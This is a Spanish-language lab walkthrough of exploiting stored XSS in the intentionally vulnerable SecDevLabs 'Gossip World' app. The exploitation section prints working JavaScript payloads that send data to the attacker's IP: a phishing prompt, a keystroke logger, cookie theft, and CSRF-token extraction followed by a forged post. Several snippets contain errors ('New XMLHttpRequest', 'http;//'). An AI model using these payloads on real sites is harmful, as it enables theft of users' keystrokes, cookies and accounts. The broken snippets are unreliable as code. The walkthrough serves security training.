XSS SecDevLabs


Instalaci贸n

git clone https://github.com/globocom/secDevLabs
cd gossip-world
make install

Esto crear谩 un servicio que corre en el equipo local por el puerto 10007

SecDevLabs: 馃憖  Your app is starting!
SecDevLabs: 馃憖  Your app is still starting... (---*----) 
SecDevLabs: 馃敟  A7 - Gossip World is now running at http://localhost:10007

Explotaci贸n

Lo primero que aparece es un panel de inicio de sesi贸n

Creo dos usuarios con las siguientes credenciales:

admin:admin123$!
rubbx:rubbx123$!

Inicio sesi贸n como rubbx. Puedo ver una nueva interfaz

El campo New gossipes vulnerable a inyecci贸n XSS

Las etiquetas script no las interpreta si trato de cargar un elemento externo hasta que no abro el post

En una sesi贸n de netcat recibo la petici贸n

nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.16.130] from (UNKNOWN) [192.168.16.130] 37628
GET /pwned.js HTTP/1.1
Host: 192.168.16.130
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: */*
Referer: http://localhost:10007/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Creo un servicio HTTP con python por el puerto 80

python3 -m http.server 80

Y un archivo pwned.js donde introducir茅 mi c贸digo JavaScript. Algo que se puede hacer es tratar de abrir una ventana emergente en la que el usuario introduzca su input

var user_input = prompt("Ventana emergente", "Ejemplo de input")

Puedo adem谩s validar si el campo tiene contenido o est谩 vac铆o. En caso contrario, se tramitar谩 una petici贸n a mi equipo con los datos

if (user_input == null || user_input == ""){
    alert("Campo vac铆o");
} else {
    fetch("http://192.168.16.130:8080/?user_input=" + user_input);
}

Incluso se puede derivar a un Keylogger

var characters = "";
document.onkeypress = function(event) {
    var character = event.key;

    characters += character;

    var image = new Image();
    image.src = "http://192.168.16.130/" + character;
};

Es posible redirigir un usuario a un sitio web

window.location.href = "https://google.es";

Con respecto a las cookies, en caso de tener el HttpOnly en false, se puede tratar de dumpear de la misma forma que antes al tramitar la petici贸n, pero extray茅ndola de document.cookie. Otra forma es utilizando XMLHttpRequest

var request = New XMLHttpRequest();
var req = ('GET', 'http;//192.168.16.130/?cookie=' + document.cookie);
request.send();

Se puede derivar a un CSRF, para tramitar peticiones por GET o POST a alg煤n elemento de la web como otro usuario. En este caso, se est谩 arrastrando un CSRF token a la hora de crear una publicaci贸n, por lo que si quiero crear una a trav茅s de la inyecci贸n, tendr铆a que obtenerlo

title=test&subtitle=test&text=test&_csrf_token=9bddf12b-2445-4349-bf81-06af29147a4d

Se suele encontrar en un campo oculto en el c贸digo fuente

curl -s -X GET http://localhost:10007/newgossip -H "Cookie: session=eyJfY3NyZl90b2tlbiI6IjliZGRmMTJiLTI0NDUtNDM0OS1iZjgxLTA2YWYyOTE0N2E0ZCIsInVzZXJuYW1lIjoicnViYngifQ.ZFU9eQ.-DuQJNNgO1NjTzUVJscv51nZe-E" | grep csrf | grep -oP '".*?"'
"_csrf_token"
"hidden"
"9bddf12b-2445-4349-bf81-06af29147a4d"

Lo extraigo desde la inyecci贸n XSS

var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open = ('GET', domain, false);
req1.send();

var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/html');
var token = doc.getElementsByName("_csrf_token")[0].value;

var req2 = new XMLHttpRequest();
req2.open('GET', 'http://192.168.16.130/?token=' + token);
req2.send();

Para crear el post se puede realizar de la siguiente forma:

var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.withCredentials = true;
req1.open = ('GET', domain, false);
req1.send();

var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/html');
var token = doc.getElementsByName("_csrf_token")[0].value;

var req2 = new XMLHttpRequest();
var data = "title=test&subtitle=test&text=test&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);